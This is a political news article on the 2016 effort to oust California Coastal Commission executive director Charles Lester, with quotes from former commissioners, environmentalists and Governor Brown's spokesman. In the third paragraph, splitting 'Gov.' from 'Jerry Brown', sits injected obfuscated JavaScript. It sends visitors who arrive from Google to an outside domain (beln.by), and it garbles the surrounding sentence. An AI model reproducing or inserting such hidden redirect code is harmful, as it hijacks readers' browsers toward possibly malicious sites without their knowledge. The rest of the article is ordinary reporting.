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A tale of tension at the Coastal Commission

Bixby Creek Bridge in Big Sur, south of Carmel. (Photo: Tom Tietz)

Gov var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. Jerry Brown has cultivated his legacy as an environmentalist since the start of his first term. It was just his second year in office, four decades ago now, that he signed the Coastal Act, a landmark piece of legislation that made the voter-approved California Coastal Commission a permanent institution.

The Act was authored in part by Peter Douglas, who would go on to serve as the commission’s executive director for 25 years. Douglas, who also helped write Proposition 20 of 1972, which created the commission, retired in 2011 and died the following year. With the commission’s unanimous approval, the reins were passed to his second in command, Charles Lester, a conservationist lawyer with a Ph.D.

“Charles is a very difficult guy not to like,” said former Commissioner Mike Reilly. “He’s a very mild mannered guy compared to Peter, who would get fired up and push people’s buttons.”

Others were more blunt.

“Charles Lester is a Boy Scout and does not have the killer instinct,” said former Commissioner Steve Blank, who resigned in 2013. But Lester “is in the same spirit of Peter Douglas the defender of the faith. These are the Jesuit warriors of coastal protection,” added Blank.

Five years later, Lester is fighting to retain control of his position that — thanks in large part to Douglas — makes him one of the state’s most powerful regulators.

For those attempting to oust Lester, the hearing is a referendum on his job performance. For the environmentalists who follow the commission, it’s a coup and an attempt to seize the upper hand.

Coastal Commission Chair Steve Kinsey, in a Jan. 14 letter to Lester, said the 12-member commission would consider firing Lester. The move stemmed in part from complaints from some commissioners about Lester’s performance and lengthy delays in projects.

Lester exercised his right to a public hearing on his possible termination, and that hearing is expected to be held at the Coastal Commission’s Feb. 10 meeting in Morro Bay.

For those attempting to oust Lester, the hearing is a referendum on his job performance. For the environmentalists who follow the commission, it’s a coup and an attempt to seize the upper hand in the power struggle between pro-development interests and a staff that they believe has appropriately enforced the Coastal Act in the Douglas tradition.

Brown’s environmental legacy is at stake as well, in part because his office remains silent on the controversy that has erupted around the hearing. When Brown resumed office in 2011, the same year Douglas passed the baton to Lester, he appointed two new commissioners. Some of Brown’s appointees have not been popular among environmentalists.

“The governor appointed some truly toxic commissioners,” contends Blank, who himself stirred controversy for building a mansion and other structures on his property in the coastal zone. Blank was appointed by former Republican Gov. Arnold Schwarzenegger.

“The Coastal Commission [has] kind of avoided regulatory capture for years, it’s an astounding track record,” he added. “It makes a lot of enemies who believe that regulatory bodies should be coin-operated by lobbyists or political contributions or believe that they should be beholden on a very tactical day-to-day basis by the Assembly or the Senate or the governor.”

Several commissioners, including the governor’s appointees, declined to discuss Lester’s situation.

Despite all the recent changes, the effort to oust Lester seems like history repeating itself.

Since 2011, there has been a significant turnover of commissioners and staff. The only commissioner who has served for more than five years is Mary Shallenberger, who has been on the commission for 12 years. The second longest serving members are Chairman Kinsey, and gubernatorial appointees Wendy Mitchell and Martha McClure.

Mitchell was appointed on the last day of 2010 by Schwarzenegger. McClure was appointed in 2011 by Brown, who in 2014 also appointed commissioners Effie Turnbull-Sanders and Erik Howell. Appointees of the governor serve at the governor’s pleasure.

Other appointees – four by the Assembly speaker and four by the Senate Rules Committee – serve fixed, four-year terms.

Despite all the recent changes, the effort to oust Lester seems like history repeating itself. In the mid-1990s, the commission made a similar effort to fire Douglas. According to Reilly, that push was divided more along party lines than specific project issues. This time, he said, it’s a schism between pro and anti-development Democrats.

It also involves a perception of Lester and his role as the ranking staff executive.

Douglas and Lester shared a commitment to the Coastal Act and strong background as environmentalists. But while Blank described Lester as a “boy scout,” he characterized Douglas as a shrewd, bare-knuckled “Machiavellian political operator.”

Douglas, who got his start in the Legislature, was well-known as a fierce environmental advocate with the political know-how to back it up.

“Peter Douglas was an environmental street fighter,” said former Commissioner Dan Secord, who was appointed by Schwarzenegger. “Peter probably disregarded the people who sought his removal until the crunch came, and then he won that war.”

Three conservationist groups — the Surfrider Foundation, WildCoast, and Environment California — collaborate on ActCoastal, a project that grades Coastal Commissioners according to their votes on selected environmental issues.

However, Lester is known more for his competence and technical knowledge.

While Lester’s technical knowledge may not afford him the same political savvy that saved Douglas 20 years ago, it does give the beleaguered agency executive a strong base of environmental support.

“Charles is much more of a scientist, much more of a technocrat, said Serge Dedina, the mayor of Imperial Beach and a coastal conservation expert. “The pro-development, anti-Charles-Lester faction has completely underestimated how the environmental movement and pro coastal forces are going to rally around Dr. Lester.”

But Lester’s popularity among some environmentalists is in sharp contrast to those groups’ views of commissioners.

Three conservationist groups — the Surfrider Foundation, WildCoast, and Environment California — collaborate on ActCoastal, a project that grades Coastal Commissioners according to their votes on selected environmental issues. The ratings reflect the percentage of votes that the groups consider pro-environment and pro-conservation.

At the end of 2015, Their highest rating was to Shallenberger — 72 percent. Three of the four gubernatorial appointees — Mitchell, Turnbull-Sanders, and McClure — bottomed out the chart, along with Speaker appointee Gregory Cox. Mitchell and Turnbull-Sanders received ratings of 33 percent, while Cox and McClure received a 32 percent grade.

Privately, some people see the environmentalists’ narrative as a smokescreen to cloud the real issue — the commission’s legal right to select its own staff.

Lester allies noted that the ratings are just one measure of the environmental backlash commissioners face on more contentious issues, including those regarding staff and personnel.

Stefanie Sekich-Quinn of the Surfrider Foundation said that the public response, particularly the potential public turnout at the meeting next week in Morro Bay, would be powerful.

“This is the people’s law and they’re going to come and defend it,” she said.

The effort to oust Lester has been characterized by environmentalists in a way similar to many of the commission’s controversies — as a battle between wealthy residents and developers and the rest of California for ownership of the coast.

“The Commission is the world’s largest planning commission over the most expensive dirt on earth,” Reilly said. “We’ve done a much better job on the west coast than they’ve done on the east coast … Try to go to the beach on the east coast and find out how difficult that is with private property.”

But privately, some people see the environmentalists’ narrative as a smokescreen to cloud an important issue — the commission’s right to select its own staff.

“Politics with a ‘small p’ was always part of the equation.” — Mel Nutter

The Coastal Commission is no stranger to controversy.

Debates over celebrity mansions in the coastal zone garner a lot of attention for the commission, such as the recently approved development for U2 guitarist the Edge’s five, 10,000-square-foot mansions in Malibu that prompted a lawsuit by the Sierra Club,

But simply following the money doesn’t always explain who holds sway with the Coastal Commission.

“Politics with a ‘small p’ was always part of the equation,” said Mel Nutter, a commissioner who served when Douglas was first appointed as executive director.

While conservation groups may paint a picture of a David-and-Goliath battle between the wealthiest Californians and everybody else, environmentalists possess resources that even some rock stars can’t always match, such as building public awareness. They also have an efficient, aggressive and well-connected advocacy network dedicated to resource protection and public access.

They note that Lester has made inroads targeting sea-level rise — a key effect of global warming, which is one of the governor’s top issues.

The commission also can be a common starting point for ambitious California politicos. In future campaigns, few things are more valuable to a candidate who hopes to establish environmental credentials than a gold star from the Sierra Club due to his or her performance on one of the state’s best-known agencies.

Brown, in the midst of his fourth term as governor, isn’t facing reelection, and his silence on the Lester issue disturbs some conservation groups who say this dispute could hurt the public’s perception of the governor as an environmentalist. They note that Lester has made inroads targeting sea-level rise — a key effect of global warming, which is one of the governor’s top issues.

“If you’re looking at Jerry Brown’s legacy as one of the greatest conservationist, environmentalist governors of all time with his climate change stuff, this would mar his legacy,” Dedina said.

The Brown administration has declined to intervene. In an email, Brown spokesman Evan Westrup described the issue as a “personnel matter – initiated without any involvement from our office – for the Coastal Commission to decide.”

Grumblings of discontent began at the November 2013 meeting with a contentious debate over how commissioners would monitor Lester’s progress.

Other political figures have come forward in support of Lester, and the Coastal Commission web site lists more than 240 pages of public comments on the dispute, the overwhelming majority favoring Lester.

Assemblymember Marc Levine, D-San Rafael, Senator Fran Pavley, D-Ventura, former resources secretary Huey Johnson, Blank and 32 other former Commissioners have all sent letters in support of Lester since the hearing on his termination became known.

“One word from Governor Brown would put an end to this instantly,” said Mark Massara, a surfer, attorney and conservationist who has followed the Coastal Commission for the Sierra Club and other environmental groups for many years. “It’s mystifying that he’s not taken a stronger stance on this.”

While Lester’s allies offer the narrative that this is a battle between environmentalists and those who would like to profit from coastal zone development, those behind the effort to remove Lester say it has do with his efficiency as a manager.

Grumblings of discontent began at the November 2013 meeting with a contentious debate over how commissioners would monitor Lester’s progress towards the 163 goals outlined in the agency’s strategic plan. Lester also has been criticized in recent years for failing to make the Commission staff more ethnically diverse. While commissioners argued there needed to be greater speed and accountability from the staff, the public and environmentalists backed up the executive director.

The agency designs comprehensive land management plans, called Local Coastal Plans (LCPs), for local governments along the coast.

A May 2015 evaluation of the strategic plan showed that the commission has completed or at least made progress on approximately 80 percent of the benchmarks set for 2018. That progress supports the conservationist argument that this is a pro-development-orchestrated coup of an otherwise infallible conservationist leader.

But the reality may be more complex.

“I actually worry that the commission tends to focus too much on minutiae like projects in Malibu,” Dedina told Capitol Weekly on Jan. 7 — almost two weeks before it emerged that Lester might be terminated. “It’s very much influenced by a lot of coastal residents who use the Coastal Commission obviously to stop a lot of development and rightly so because that’s what they can do.”

While Dedina praised the commission and its staff’s efforts to keep developers from blocking public beach access, he believes that the commission could address social inequity more broadly. He notes that the Malibu ridge where the Edge will build his five mansions was not readily accessible to working class and minority communities before his controversial plan was approved.

“This is making California look like a banana republic.”

In addition to resolving public access issues, the agency designs comprehensive land management plans, called Local Coastal Plans (LCPs), for local governments along the coast.

As climate change begins to affect sea levels, the commission must develop long term plans to address sea level rise and other natural phenomena that could affect coastal environments. According to Dedina, Lester’s sea level rise strategy is one of his strengths as executive director and also one of the things that should be a primary focus for the Commission.

According to the Commission’s 2015 year in review, as well as its strategic plan, both of those issues are high priorities for the commission staff.

Dedina said the move against Lester weakens the panel’s regulatory framework.

“This is making California look like a banana republic, it’s an absolute coup by people who do not have the best interests of California or our coast,” Dedina said in a telephone interview after news broke of Lester’s possible termination.

But, he added,“It doesn’t mean that Charles Lester can’t do better, and it doesn’t mean that the Coastal Commission can’t do better.”

Ed’s Note: Tightens throughout to delete similar quotes, removes reference to San Francisco Estuary Institute. 

 

 


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